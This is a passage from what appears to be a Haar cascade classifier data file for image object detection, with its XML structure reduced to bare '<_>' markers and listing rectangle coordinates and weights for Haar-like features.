<_> + 9 6 2 9 3. + <_> + + <_> + 7 7 12 3 -1. + <_> + 7 7 6 3 2. + <_> + + <_> + 8 3 8 21 -1. + <_> + 8 10 8 7 3. + <_> + + <_> + 7 4 10 12 -1. + <_> + 7 8 10 4 3. + <_> + + <_> + 0 1 6 9 -1. + <_> + 0 4 6 3 3. + <_> + + <_> + 15 2 2 20 -1. + <_> + 15 2 1 20 2. + <_> + + <_> + 0 3 6 9 -1. + <_> + 0 6 6 3 3. + <_> + + <_> + 15 3 2 21 -1. + <_> + 15 3 1 21 2. + <_> + + <_> + 7 0 2 23 -1. + <_> + 8 0 1 23 2. + <_> + + <_> + 15 8 9 4 -1. + <_> + 15 10 9 2 2. + <_> + + <_> + 0 8 9 4 -1. + <_> + 0 10 9 2 2. + <_> + + <_> + 8 14 9 6 -1. + <_> + 8 16 9 2 3. + <_> + + <_> + 0 14 9 6 -1. + <_> + 0 16 9 2 3. + <_> + + <_> + 3 10 18 4 -1. + <_> + 9 10 6 4 3. + <_> + + <_> + 0 0 24 19 -1. + <_> + 8 0 8 19 3. + <_> + + <_> + 9 1 8 12 -1. + <_> + 9 7 8 6 2. + <_> + + <_> + 10 6 4 10 -1. + <_> + 12 6 2 10 2. + <_> + + <_> + 7 9 10 12 -1. + <_> + 12 9 5 6 2. + <_> + 7 15 5 6 2. + <_> + + <_> + 5 0 3 19 -1. + <_> + 6 0 1 19 3. + <_> + + <_> + 14 0 6 10 -1. + <_> + 16 0 2 10 3. + <_> + + <_> + 2 0 6 12 -1. + <_> + 2 0 3 6 2. + <_> + 5 6 3 6 2. + <_> + + <_> + 0 11 24 2 -1. + <_> + 0 12 24 1 2. + <_> + + <_> + 4 9 13 4 -1. + <_> + 4 11 13 2 2. + <_> + + <_> + 9 8 6 9 -1. + <_> + 9 11 6 3 3. + <_> + + <_> + 0 12 16 4 -1. + <_> + 0 14 16 2 2. + <_> + + <_> + 18 12 6 9 -1. + <_> + 18 15 6 3 3. + <_> + + <_> + 0 12 6 9 -1. + <_> + 0 15 6 3 3. + <_> + + <_> + 8 7 10 4 -1. + <_> + 8 7 5 4 2. + <_> + + <_> + 8 7 6 9 -1. + <_> + 10 7 2 9 3. + <_> + + <_> + 11 0 6 9 -1. + <_> + 13 0 2 9 3. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 12 3 6 15 -1. + <_> + 14 3 2 15 3. + <_> + + <_> + 6 3 6 15 -1. + <_> + 8 3 2 15 3. + <_> + + <_> + 15 2 9 4 -1. + <_> + 15 4 9 2 2. + <_> + + <_> + 5 10 6 7 -1. + <_> + 8 10 3 7 2. + <_> + + <_> + 9 14 6 10 -1. + <_> + 9 19 6 5 2. + <_> + + <_> + 7 13 5 8 -1. + <_> + 7 17 5 4 2. + <_> + + <_> + 14 5 3 16 -1. + <_> + 14 13 3 8 2. + <_> + + <_> + 2 17 18 3 -1. + <_> + 2 18 18 1 3. + <_> + + <_> + 5 18 19 3 -1. + <_> + 5 19 19 1 3. + <_> + + <_> + 9 0 6 9 -1. + <_> + 11 0 2 9 3. + <_> + + <_> + 12 4 3 18 -1. + <_> + 13 4 1 18 3. + <_> + + <_> + 9 4 3 18 -1. + <_> + 10 4 1 18 3. + <_> + + <_> + 3 3 18 9 -1. + <_> + 9 3 6 9 3. + <_> + + <_> + 6 1 6 14 -1. + <_> + 8 1 2 14 3. + <_> + + <_> + 12 16 9 6 -1. + <_> + 12 19 9 3 2. + <_> + + <_> + 1 3 20 16 -1. + <_> + 1 3 10 8 2. + <_> + 11 11 10 8 2. + <_> + + <_> + 12 5 6 12 -1. + <_> + 15 5 3 6 2. + <_> + 12 11 3 6 2. + <_> + + <_> + 1 2 22 16 -1. + <_> + 1 2 11 8 2. + <_> + 12 10 11 8 2. + <_> + + <_> + 10 14 5 10 -1. + <_> + 10 19 5 5 2. + <_> + + <_> + 3 21 18 3 -1. + <_> + 3 22 18 1 3. + <_> + + <_> + 10 14 6 10 -1. + <_> + 12 14 2 10 3. + <_> + + <_> + 0 2 24 4 -1. + <_> + 8 2 8 4 3. + <_> + + <_> + 6 4 12 9 -1. + <_> + 6 7 12 3 3. + <_> + + <_> + 6 6 12 5 -1. + <_> + 10 6 4 5 3. + <_> + + <_> + 5 8 14 12 -1. + <_> + 5 12 14 4 3. + <_> + + <_> + 4 14 8 10 -1. + <_> + 4 14 4 5 2. + <_> + 8 19 4 5 2. + <_> + + <_> + 11 6 5 14 -1. + <_> + 11 13 5 7 2. + <_> + + <_> + 7 6 3 16 -1. + <_> + 7 14 3 8 2. + <_> + + <_> + 3 7 18 8 -1. + <_> + 9 7 6 8 3. + <_> + + <_> + 2 3 20 2 -1. + <_> + 2 4 20 1 2. + <_> + + <_> + 3 12 19 6 -1. + <_> + 3 14 19 2 3. + <_> + + <_> + 8 6 6 9 -1. + <_> + 10 6 2 9 3. + <_> + + <_> + 16 6 6 14 -1. + <_> + 16 6 3 14 2. + <_> + + <_> + 7 9 6 12 -1. + <_> + 9 9 2 12 3. + <_> + + <_> + 18 6 6 18 -1. + <_> + 21 6 3 9 2. + <_> + 18 15 3 9 2. + <_> + + <_> + 0 6 6 18 -1. + <_> + 0 6 3 9 2. + <_> + 3 15 3 9 2. + <_> + + <_> + 18 2 6 9 -1. + <_> + 18 5 6 3 3. + <_> + + <_> + 3 18 15 6 -1. + <_> + 3 20 15 2 3. + <_> + + <_> + 18 2 6 9 -1. + <_> + 18 5 6 3 3. + <_> + + <_> + 0 2 6 9 -1. + <_> + 0 5 6 3 3. + <_> + + <_> + 5 10 18 2 -1. + <_> + 5 11 18 1 2. + <_> + + <_> + 6 0 12 6 -1. + <_> + 6 2 12 2 3. + <_> + + <_> + 10 0 6 9 -1. + <_> + 12 0 2 9 3. + <_> + + <_> + 8 0 6 9 -1. + <_> + 10 0 2 9 3. + <_> + + <_> + 15 12 9 6 -1. + <_> + 15 14 9 2 3. + <_> + + <_> + 3 6 13 6 -1. + <_> + 3 8 13 2 3. + <_> + + <_> + 15 12 9 6 -1. + <_> + 15 14 9 2 3. + <_> + + <_> + 2 5 6 15 -1. + <_> + 5 5 3 15 2. + <_> + + <_> + 8 8 9 6 -1. + <_> + 11 8 3 6 3. + <_> + + <_> + 8 6 3 14 -1. + <_> + 8 13 3 7 2. + <_> + + <_> + 15 12 9 6 -1. + <_> + 15 14 9 2 3. + <_> + + <_> + 4 12 10 4 -1. + <_> + 9 12 5 4 2. + <_> + + <_> + 13 1 4 19 -1. + <_> + 13 1 2 19 2. + <_> + + <_> + 7 1 4 19 -1. + <_> + 9 1 2 19 2. + <_> + + <_> + 18 9 6 9 -1. + <_> + 18 12 6 3 3. + <_> + + <_> + 1 21 18 3 -1. + <_> + 1 22 18 1 3. + <_> + + <_> + 14 13 10 9 -1. + <_> + 14 16 10 3 3. + <_> + + <_> + 1 13 22 4 -1. + <_> + 1 13 11 2 2. + <_> + 12 15 11 2 2. + <_> + + <_> + 4 6 16 6 -1. + <_> + 12 6 8 3 2. + <_> + 4 9 8 3 2. + <_> + + <_> + 1 0 18 22 -1. + <_> + 1 0 9 11 2. + <_> + 10 11 9 11 2. + <_> + + <_> + 10 7 8 14 -1. + <_> + 14 7 4 7 2. + <_> + 10 14 4 7 2. + <_> + + <_> + 0 4 6 20 -1. + <_> + 0 4 3 10 2. + <_> + 3 14 3 10 2. + <_> + + <_> + 15 0 6 9 -1. + <_> + 17 0 2 9 3. + <_> + + <_> + 3 0 6 9 -1. + <_> + 5 0 2 9 3. + <_> + + <_> + 15 12 6 12 -1. + <_> + 18 12 3 6 2. + <_> + 15 18 3 6 2. + <_> + + <_> + 3 12 6 12 -1. + <_> + 3 12 3 6 2. + <_> + 6 18 3 6 2. + <_> + + <_> + 15 12 9 6 -1. + <_> + 15 14 9 2 3. + <_> + + <_> + 0 12 9 6 -1. + <_> + 0 14 9 2 3. + <_> + + <_> + 4 14 19 3 -1. + <_> + 4 15 19 1 3. + <_> + + <_> + 2 13 19 3 -1. + <_> + 2 14 19 1 3. + <_> + + <_> + 14 15 10 6 -1. + <_> + 14 17 10 2 3. + <_> + + <_> + 6 0 10 12 -1. + <_> + 6 0 5 6 2. + <_> + 11 6 5 6 2. + <_> + + <_> + 17 1 6 12 -1. + <_> + 20 1 3 6 2. + <_> + 17 7 3 6 2. + <_> + + <_> + 1 1 6 12 -1. + <_> + 1 1 3 6 2. + <_> + 4 7 3 6 2. + <_> + + <_> + 16 14 6 9 -1. + <_> + 16 17 6 3 3. + <_> + + <_> + 7 3 9 12 -1. + <_> + 7 9 9 6 2. + <_> + + <_> + 12 1 4 12 -1. + <_> + 12 7 4 6 2. + <_> + + <_> + 4 0 14 8 -1. + <_> + 4 4 14 4 2. + <_> + + <_> + 10 6 6 9 -1. + <_> + 12 6 2 9 3. + <_> + + <_> + 2 10 18 3 -1. + <_> + 8 10 6 3 3. + <_> + + <_> + 15 15 9 6 -1. + <_> + 15 17 9 2 3. + <_> + + <_> + 0 1 21 23 -1. + <_> + 7 1 7 23 3. + <_> + + <_> + 6 9 17 4 -1. + <_> + 6 11 17 2 2. + <_> + + <_> + 1 0 11 18 -1. + <_> + 1 6 11 6 3. + <_> + + <_> + 6 15 13 6 -1. + <_> + 6 17 13 2 3. + <_> + + <_> + 0 15 9 6 -1. + <_> + 0 17 9 2 3. + <_> + + <_> + 8 7 15 4 -1. + <_> + 13 7 5 4 3. + <_> + + <_> + 9 12 6 9 -1. + <_> + 9 15 6 3 3. + <_> + + <_> + 6 8 18 3 -1. + <_> + 12 8 6 3 3. + <_> + + <_> + 0 14 24 4 -1. + <_> + 8 14 8 4 3. + <_> + + <_> + 16 10 3 12 -1. + <_> + 16 16 3 6 2. + <_> + + <_> + 0 3 24 3 -1. + <_> + 0 4 24 1 3. + <_> + + <_> + 14 17 10 6 -1. + <_> + 14 19 10 2 3. + <_> + + <_> + 1 13 18 3 -1. + <_> + 7 13 6 3 3. + <_> + + <_> + 5 0 18 9 -1. + <_> + 5 3 18 3 3. + <_> + + <_> + 4 3 16 9 -1. + <_> + 4 6 16 3 3. + <_> + + <_> + 16 5 3 12 -1. + <_> + 16 11 3 6 2. + <_> + + <_> + 0 7 18 4 -1. + <_> + 6 7 6 4 3. + <_> + + <_> + 10 6 6 9 -1. + <_> + 12 6 2 9 3. + <_> + + <_> + 9 8 6 10 -1. + <_> + 11 8 2 10 3. + <_> + + <_> + 9 15 6 9 -1. + <_> + 11 15 2 9 3. + <_> + + <_> + 3 1 18 21 -1. + <_> + 12 1 9 21 2. + <_> + + <_> + 6 8 12 7 -1. + <_> + 6 8 6 7 2. + <_> + + <_> + 8 5 6 9 -1. + <_> + 10 5 2 9 3. + <_> + + <_> + 0 2 24 4 -1. + <_> + 8 2 8 4 3. + <_> + + <_> + 14 7 5 12 -1. + <_> + 14 11 5 4 3. + <_> + + <_> + 5 7 5 12 -1. + <_> + 5 11 5 4 3. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 0 1 6 17 -1. + <_> + 3 1 3 17 2. + <_> + + <_> + 3 1 19 9 -1. + <_> + 3 4 19 3 3. + <_> + + <_> + 3 18 12 6 -1. + <_> + 3 18 6 3 2. + <_> + 9 21 6 3 2. + <_> + + <_> + 20 4 4 19 -1. + <_> + 20 4 2 19 2. + <_> + + <_> + 0 16 10 7 -1. + <_> + 5 16 5 7 2. + <_> + + <_> + 8 7 10 12 -1. + <_> + 13 7 5 6 2. + <_> + 8 13 5 6 2. + <_> + + <_> + 6 7 10 12 -1. + <_> + 6 7 5 6 2. + <_> + 11 13 5 6 2. + <_> + + <_> + 9 2 9 6 -1. + <_> + 12 2 3 6 3. + <_> + + <_> + 1 20 21 4 -1. + <_> + 8 20 7 4 3. + <_> + + <_> + 9 12 9 6 -1. + <_> + 9 14 9 2 3. + <_> + + <_> + 7 2 9 6 -1. + <_> + 10 2 3 6 3. + <_> + + <_> + 13 0 4 14 -1. + <_> + 13 0 2 14 2. + <_> + + <_> + 7 0 4 14 -1. + <_> + 9 0 2 14 2. + <_> + + <_> + 14 15 9 6 -1. + <_> + 14 17 9 2 3. + <_> + + <_> + 2 8 18 5 -1. + <_> + 8 8 6 5 3. + <_> + + <_> + 18 3 6 11 -1. + <_> + 20 3 2 11 3. + <_> + + <_> + 6 5 11 14 -1. + <_> + 6 12 11 7 2. + <_> + + <_> + 18 4 6 9 -1. + <_> + 18 7 6 3 3. + <_> + + <_> + 7 6 9 6 -1. + <_> + 7 8 9 2 3. + <_> + + <_> + 18 4 6 9 -1. + <_> + 18 7 6 3 3. + <_> + + <_> + 0 4 6 9 -1. + <_> + 0 7 6 3 3. + <_> + + <_> + 9 4 9 4 -1. + <_> + 9 6 9 2 2. + <_> + + <_> + 0 22 19 2 -1. + <_> + 0 23 19 1 2. + <_> + + <_> + 17 14 6 9 -1. + <_> + 17 17 6 3 3. + <_> + + <_> + 1 14 6 9 -1. + <_> + 1 17 6 3 3. + <_> + + <_> + 14 11 4 9 -1. + <_> + 14 11 2 9 2. + <_> + + <_> + 6 11 4 9 -1. + <_> + 8 11 2 9 2. + <_> + + <_> + 3 9 18 7 -1. + <_> + 9 9 6 7 3. + <_> + + <_> + 9 12 6 10 -1. + <_> + 9 17 6 5 2. + <_> + + <_> + 12 0 6 9 -1. + <_> + 14 0 2 9 3. + <_> + + <_> + 6 0 6 9 -1. + <_> + 8 0 2 9 3. + <_> + + <_> + 6 17 18 3 -1. + <_> + 6 18 18 1 3. + <_> + + <_> + 1 17 18 3 -1. + <_> + 1 18 18 1 3. + <_> + + <_> + 10 6 11 12 -1. + <_> + 10 12 11 6 2. + <_> + + <_> + 5 6 14 6 -1. + <_> + 5 6 7 3 2. + <_> + 12 9 7 3 2. + <_> + + <_> + 5 4 15 4 -1. + <_> + 5 6 15 2 2. + <_> + + <_> + 0 0 22 2 -1. + <_> + 0 1 22 1 2. + <_> + + <_> + 0 0 24 24 -1. + <_> + 8 0 8 24 3. + <_> + + <_> + 1 15 18 4 -1. + <_> + 10 15 9 4 2. + <_> + + <_> + 6 8 12 9 -1. + <_> + 6 11 12 3 3. + <_> + + <_> + 4 12 7 12 -1. + <_> + 4 16 7 4 3. + <_> + + <_> + 1 2 22 6 -1. + <_> + 12 2 11 3 2. + <_> + 1 5 11 3 2. + <_> + + <_> + 5 20 14 3 -1. + <_> + 12 20 7 3 2. + <_> + + <_> + 0 0 24 16 -1. + <_> + 12 0 12 8 2. + <_> + 0 8 12 8 2. + <_> + + <_> + 3 13 18 4 -1. + <_> + 3 13 9 2 2. + <_> + 12 15 9 2 2. + <_> + + <_> + 2 10 22 2 -1. + <_> + 2 11 22 1 2. + <_> + + <_> + 6 3 11 8 -1. + <_> + 6 7 11 4 2. + <_> + + <_> + 14 5 6 6 -1. + <_> + 14 8 6 3 2. + <_> + + <_> + 0 7 24 6 -1. + <_> + 0 9 24 2 3. + <_> + + <_> + 14 0 10 10 -1. + <_> + 19 0 5 5 2. + <_> + 14 5 5 5 2. + <_> + + <_> + 0 0 10 10 -1. + <_> + 0 0 5 5 2. + <_> + 5 5 5 5 2. + <_> + + <_> + 0 1 24 4 -1. + <_> + 12 1 12 2 2. + <_> + 0 3 12 2 2. + <_> + + <_> + 0 17 18 3 -1. + <_> + 0 18 18 1 3. + <_> + + <_> + 5 15 16 6 -1. + <_> + 13 15 8 3 2. + <_> + 5 18 8 3 2. + <_> + + <_> + 3 15 16 6 -1. + <_> + 3 15 8 3 2. + <_> + 11 18 8 3 2. + <_> + + <_> + 6 16 18 3 -1. + <_> + 6 17 18 1 3. + <_> + + <_> + 0 13 21 10 -1. + <_> + 0 18 21 5 2. + <_> + + <_> + 13 0 6 24 -1. + <_> + 15 0 2 24 3. + <_> + + <_> + 7 4 6 11 -1. + <_> + 9 4 2 11 3. + <_> + + <_> + 9 5 9 6 -1. + <_> + 12 5 3 6 3. + <_> + + <_> + 1 4 2 20 -1. + <_> + 1 14 2 10 2. + <_> + + <_> + 13 0 6 24 -1. + <_> + 15 0 2 24 3. + <_> + + <_> + 5 0 6 24 -1. + <_> + 7 0 2 24 3. + <_> + + <_> + 16 7 6 14 -1. + <_> + 19 7 3 7 2. + <_> + 16 14 3 7 2. + <_> + + <_> + 4 7 4 12 -1. + <_> + 6 7 2 12 2. + <_> + + <_> + 0 5 24 14 -1. + <_> + 8 5 8 14 3. + <_> + + <_> + 5 13 10 6 -1. + <_> + 5 15 10 2 3. + <_> + + <_> + 12 0 6 9 -1. + <_> + 14 0 2 9 3. + <_> + + <_> + 2 7 6 14 -1. + <_> + 2 7 3 7 2. + <_> + 5 14 3 7 2. + <_> + + <_> + 15 2 9 15 -1. + <_> + 18 2 3 15 3. + <_> + + <_> + 0 2 6 9 -1. + <_> + 2 2 2 9 3. + <_> + + <_> + 12 2 10 14 -1. + <_> + 17 2 5 7 2. + <_> + 12 9 5 7 2. + <_> + + <_> + 11 6 2 18 -1. + <_> + 12 6 1 18 2. + <_> + + <_> + 9 5 15 6 -1. + <_> + 14 5 5 6 3. + <_> + + <_> + 8 6 6 10 -1. + <_> + 10 6 2 10 3. + <_> + + <_> + 12 0 6 9 -1. + <_> + 14 0 2 9 3. + <_> + + <_> + 3 3 9 7 -1. + <_> + 6 3 3 7 3. + <_> + + <_> + 6 7 14 3 -1. + <_> + 6 7 7 3 2. + <_> + + <_> + 7 7 8 6 -1. + <_> + 11 7 4 6 2. + <_> + + <_> + 12 7 7 12 -1. + <_> + 12 13 7 6 2. + <_> + + <_> + 10 6 4 18 -1. + <_> + 10 6 2 9 2. + <_> + 12 15 2 9 2. + <_> + + <_> + 16 14 6 9 -1. + <_> + 16 17 6 3 3. + <_> + + <_> + 4 0 6 13 -1. + <_> + 6 0 2 13 3. + <_> + + <_> + 2 2 21 3 -1. + <_> + 9 2 7 3 3. + <_> + + <_> + 5 4 5 12 -1. + <_> + 5 8 5 4 3. + <_> + + <_> + 10 3 4 10 -1. + <_> + 10 8 4 5 2. + <_> + + <_> + 8 4 5 8 -1. + <_> + 8 8 5 4 2. + <_> + + <_> + 6 0 11 9 -1. + <_> + 6 3 11 3 3. + <_> + + <_> + 6 6 12 5 -1. + <_> + 10 6 4 5 3. + <_> + + <_> + 0 0 24 5 -1. + <_> + 8 0 8 5 3. + <_> + + <_> + 1 10 23 6 -1. + <_> + 1 12 23 2 3. + <_> + + <_> + 3 21 18 3 -1. + <_> + 9 21 6 3 3. + <_> + + <_> + 3 6 21 6 -1. + <_> + 3 8 21 2 3. + <_> + + <_> + 0 5 6 12 -1. + <_> + 2 5 2 12 3. + <_> + + <_> + 10 2 4 15 -1. + <_> + 10 7 4 5 3. + <_> + + <_> + 8 7 8 10 -1. + <_> + 8 12 8 5 2. + <_> + + <_> + 5 7 15 12 -1. + <_> + 10 7 5 12 3. + <_> + + <_> + 0 17 10 6 -1. + <_> + 0 19 10 2 3. + <_> + + <_> + 14 18 9 6 -1. + <_> + 14 20 9 2 3. + <_> + + <_> + 9 6 6 16 -1. + <_> + 9 14 6 8 2. + <_> + + <_> + 14 18 9 6 -1. + <_> + 14 20 9 2 3. + <_> + + <_> + 1 18 9 6 -1. + <_> + 1 20 9 2 3. + <_> + + <_> + 15 9 9 6 -1. + <_> + 15 11 9 2 3. + <_> + + <_> + 0 9 9 6 -1. + <_> + 0 11 9 2 3. + <_> + + <_> + 17 3 6 9 -1. + <_> + 19 3 2 9 3. + <_> + + <_> + 2 17 18 3 -1. + <_> + 2 18 18 1 3. + <_> + + <_> + 3 15 21 6 -1. + <_> + 3 17 21 2 3. + <_> + + <_> + 9 17 6 6 -1. + <_> + 9 20 6 3 2. + <_> + + <_> + 18 3 6 9 -1. + <_> + 18 6 6 3 3. + <_> + + <_> + 0 3 6 9 -1. + <_> + 0 6 6 3 3. + <_> + + <_> + 4 0 16 10 -1. + <_> + 12 0 8 5 2. + <_> + 4 5 8 5 2. + <_> + + <_> + 2 0 10 16 -1. + <_> + 2 0 5 8 2. + <_> + 7 8 5 8 2. + <_> + + <_> + 14 0 10 5 -1. + <_> + 14 0 5 5 2. + <_> + + <_> + 0 0 10 5 -1. + <_> + 5 0 5 5 2. + <_> + + <_> + 18 3 6 10 -1. + <_> + 18 3 3 10 2. + <_> + + <_> + 5 11 12 6 -1. + <_> + 5 11 6 3 2. + <_> + 11 14 6 3 2. + <_> + + <_> + 21 0 3 18 -1. + <_> + 22 0 1 18 3. + <_> + + <_> + 6 0 6 9 -1. + <_> + 8 0 2 9 3. + <_> + + <_> + 8 8 9 7 -1. + <_> + 11 8 3 7 3. + <_> + + <_> + 7 12 8 10 -1. + <_> + 7 12 4 5 2. + <_> + 11 17 4 5 2. + <_> + + <_> + 21 0 3 18 -1. + <_> + 22 0 1 18 3. + <_> + + <_> + 10 6 4 9 -1. + <_> + 12 6 2 9 2. + <_> + + <_> + 15 0 9 6 -1. + <_> + 15 2 9 2 3. + <_> + + <_> + 0 2 24 3 -1. + <_> + 0 3 24 1 3. + <_> + + <_> + 11 7 6 9 -1. + <_> + 13 7 2 9 3. + <_> + + <_> + 7 6 6 10 -1. + <_> + 9 6 2 10 3. + <_> + + <_> + 12 1 6 12 -1. + <_> + 14 1 2 12 3. + <_> + + <_> + 6 4 12 12 -1. + <_> + 6 10 12 6 2. + <_> + + <_> + 14 3 2 21 -1. + <_> + 14 3 1 21 2. + <_> + + <_> + 6 1 12 8 -1. + <_> + 6 5 12 4 2. + <_> + + <_> + 3 0 18 8 -1. + <_> + 3 4 18 4 2. + <_> + + <_> + 3 0 18 3 -1. + <_> + 3 1 18 1 3. + <_> + + <_> + 0 13 24 4 -1. + <_> + 12 13 12 2 2. + <_> + 0 15 12 2 2. + <_> + + <_> + 10 5 4 9 -1. + <_> + 12 5 2 9 2. + <_> + + <_> + 11 1 6 9 -1. + <_> + 13 1 2 9 3. + <_> + + <_> + 6 2 6 22 -1. + <_> + 8 2 2 22 3. + <_> + + <_> + 16 10 8 14 -1. + <_> + 20 10 4 7 2. + <_> + 16 17 4 7 2. + <_> + + <_> + 3 4 16 15 -1. + <_> + 3 9 16 5 3. + <_> + + <_> + 16 10 8 14 -1. + <_> + 20 10 4 7 2. + <_> + 16 17 4 7 2. + <_> + + <_> + 0 10 8 14 -1. + <_> + 0 10 4 7 2. + <_> + 4 17 4 7 2. + <_> + + <_> + 10 14 11 6 -1. + <_> + 10 17 11 3 2. + <_> + + <_> + 0 7 24 9 -1. + <_> + 8 7 8 9 3. + <_> + + <_> + 13 1 4 16 -1. + <_> + 13 1 2 16 2. + <_> + + <_> + 7 1 4 16 -1. + <_> + 9 1 2 16 2. + <_> + + <_> + 5 5 16 8 -1. + <_> + 13 5 8 4 2. + <_> + 5 9 8 4 2. + <_> + + <_> + 0 9 6 9 -1. + <_> + 0 12 6 3 3. + <_> + + <_> + 6 16 18 3 -1. + <_> + 6 17 18 1 3. + <_> + + <_> + 3 12 6 9 -1. + <_> + 3 15 6 3 3. + <_> + + <_> + 8 14 9 6 -1. + <_> + 8 16 9 2 3. + <_> + + <_> + 2 13 8 10 -1. + <_> + 2 13 4 5 2. + <_> + 6 18 4 5 2. + <_> + + <_> + 15 5 3 18 -1. + <_> + 15 11 3 6 3. + <_> + + <_> + 3 5 18 3 -1. + <_> + 3 6 18 1 3. + <_> + + <_> + 17 5 6 11 -1. + <_> + 19 5 2 11 3. + <_> + + <_> + 1 5 6 11 -1. + <_> + 3 5 2 11 3. + <_> + + <_> + 19 1 4 9 -1. + <_> + 19 1 2 9 2. + <_> + + <_> + 1 1 4 9 -1. + <_> + 3 1 2 9 2. + <_> + + <_> + 4 15 18 9 -1. + <_> + 4 15 9 9 2. + <_> + + <_> + 6 9 12 4 -1. + <_> + 6 11 12 2 2. + <_> + + <_> + 15 2 9 6 -1. + <_> + 15 4 9 2 3. + <_> + + <_> + 0 2 9 6 -1. + <_> + 0 4 9 2 3. + <_> + + <_> + 15 0 6 17 -1. + <_> + 17 0 2 17 3. + <_> + + <_> + 3 0 6 17 -1. + <_> + 5 0 2 17 3. + <_> + + <_> + 8 17 9 4 -1. + <_> + 8 19 9 2 2. + <_> + + <_> + 6 5 3 18 -1. + <_> + 6 11 3 6 3. + <_> + + <_> + 5 2 14 12 -1. + <_> + 5 8 14 6 2. + <_> + + <_> + 10 2 3 12 -1. + <_> + 10 8 3 6 2. + <_> + + <_> + 10 7 14 15 -1. + <_> + 10 12 14 5 3. + <_> + + <_> + 0 7 14 15 -1. + <_> + 0 12 14 5 3. + <_> + + <_> + 15 0 9 6 -1. + <_> + 15 2 9 2 3. + <_> + + <_> + 0 0 9 6 -1. + <_> + 0 2 9 2 3. + <_> + + <_> + 12 6 6 14 -1. + <_> + 14 6 2 14 3. + <_> + + <_> + 9 7 6 9 -1. + <_> + 11 7 2 9 3. + <_> + + <_> + 12 6 6 15 -1. + <_> + 14 6 2 15 3. + <_> + + <_> + 6 6 6 15 -1. + <_> + 8 6 2 15 3. + <_> + + <_> + 15 3 8 9 -1. + <_> + 15 3 4 9 2. + <_> + + <_> + 0 0 9 21 -1. + <_> + 3 0 3 21 3. + <_> + + <_> + 11 9 8 12 -1. + <_> + 11 13 8 4 3. + <_> + + <_> + 6 7 10 12 -1. + <_> + 6 7 5 6 2. + <_> + 11 13 5 6 2. + <_> + + <_> + 10 6 4 18 -1. + <_> + 12 6 2 9 2. + <_> + 10 15 2 9 2. + <_> + + <_> + 0 0 6 9 -1. + <_> + 0 3 6 3 3. + <_> + + <_> + 3 14 18 3 -1. + <_> + 3 15 18 1 3. + <_> + + <_> + 3 14 8 10 -1. + <_> + 3 14 4 5 2. + <_> + 7 19 4 5 2. + <_> + + <_> + 0 12 24 4 -1. + <_> + 12 12 12 2 2. + <_> + 0 14 12 2 2. + <_> + + <_> + 0 2 3 20 -1. + <_> + 1 2 1 20 3. + <_> + + <_> + 12 16 10 8 -1. + <_> + 17 16 5 4 2. + <_> + 12 20 5 4 2. + <_> + + <_> + 2 16 10 8 -1. + <_> + 2 16 5 4 2. + <_> + 7 20 5 4 2. + <_> + + <_> + 7 0 10 9 -1. + <_> + 7 3 10 3 3. + <_> + + <_> + 0 0 24 3 -1. + <_> + 8 0 8 3 3. + <_> + + <_> + 3 8 15 4 -1. + <_> + 3 10 15 2 2. + <_> + + <_> + 6 5 12 6 -1. + <_> + 10 5 4 6 3. + <_> + + <_> + 5 13 14 6 -1. + <_> + 5 16 14 3 2. + <_> + + <_> + 11 14 4 10 -1. + <_> + 11 19 4 5 2. + <_> + + <_> + 0 6 6 7 -1. + <_> + 3 6 3 7 2. + <_> + + <_> + 18 0 6 6 -1. + <_> + 18 0 3 6 2. + <_> + + <_> + 3 1 18 3 -1. + <_> + 3 2 18 1 3. + <_> + + <_> + 9 6 14 18 -1. + <_> + 9 12 14 6 3. + <_> + + <_> + 0 0 6 6 -1. + <_> + 3 0 3 6 2. + <_> + + <_> + 13 11 6 6 -1. + <_> + 13 11 3 6 2. + <_> + + <_> + 0 20 24 3 -1. + <_> + 8 20 8 3 3. + <_> + + <_> + 13 11 6 7 -1. + <_> + 13 11 3 7 2. + <_> + + <_> + 4 12 10 6 -1. + <_> + 4 14 10 2 3. + <_> + + <_> + 13 11 6 6 -1. + <_> + 13 11 3 6 2. + <_> + + <_> + 5 11 6 7 -1. + <_> + 8 11 3 7 2. + <_> + + <_> + 7 4 11 12 -1. + <_> + 7 8 11 4 3. + <_> + + <_> + 6 15 10 4 -1. + <_> + 6 17 10 2 2. + <_> + + <_> + 14 0 6 9 -1. + <_> + 16 0 2 9 3. + <_> + + <_> + 4 0 6 9 -1. + <_> + 6 0 2 9 3. + <_> + + <_> + 11 2 4 15 -1. + <_> + 11 7 4 5 3. + <_> + + <_> + 0 0 20 3 -1. + <_> + 0 1 20 1 3. + <_> + + <_> + 13 18 10 6 -1. + <_> + 13 20 10 2 3. + <_> + + <_> + 2 7 6 11 -1. + <_> + 5 7 3 11 2. + <_> + + <_> + 10 14 10 9 -1. + <_> + 10 17 10 3 3. + <_> + + <_> + 8 2 4 9 -1. + <_> + 10 2 2 9 2. + <_> + + <_> + 14 3 10 4 -1. + <_> + 14 3 5 4 2. + <_> + + <_> + 6 6 12 6 -1. + <_> + 6 6 6 3 2. + <_> + 12 9 6 3 2. + <_> + + <_> + 8 8 8 10 -1. + <_> + 12 8 4 5 2. + <_> + 8 13 4 5 2. + <_> + + <_> + 7 4 4 16 -1. + <_> + 7 12 4 8 2. + <_> + + <_> + 8 8 9 4 -1. + <_> + 8 10 9 2 2. + <_> + + <_> + 5 2 14 9 -1. + <_> + 5 5 14 3 3. + <_> + + <_> + 3 16 19 8 -1. + <_> + 3 20 19 4 2. + <_> + + <_> + 0 0 10 8 -1. + <_> + 5 0 5 8 2. + <_> + + <_> + 5 2 16 18 -1. + <_> + 5 2 8 18 2. + <_> + + <_> + 0 11 24 11 -1. + <_> + 8 11 8 11 3. + <_> + + <_> + 3 3 18 5 -1. + <_> + 3 3 9 5 2. + <_> + + <_> + 1 16 18 3 -1. + <_> + 1 17 18 1 3. + <_> + + <_> + 5 17 18 3 -1. + <_> + 5 18 18 1 3. + <_> + + <_> + 1 13 9 6 -1. + <_> + 1 15 9 2 3. + <_> + + <_> + 1 9 23 10 -1. + <_> + 1 14 23 5 2. + <_> + + <_> + 3 7 18 3 -1. + <_> + 3 8 18 1 3. + <_> + + <_> + 6 8 12 3 -1. + <_> + 6 8 6 3 2. + <_> + + <_> + 6 2 3 22 -1. + <_> + 7 2 1 22 3. + <_> + + <_> + 14 17 10 6 -1. + <_> + 14 19 10 2 3. + <_> + + <_> + 1 18 10 6 -1. + <_> + 1 20 10 2 3. + <_> + + <_> + 11 3 6 12 -1. + <_> + 13 3 2 12 3. + <_> + + <_> + 10 6 4 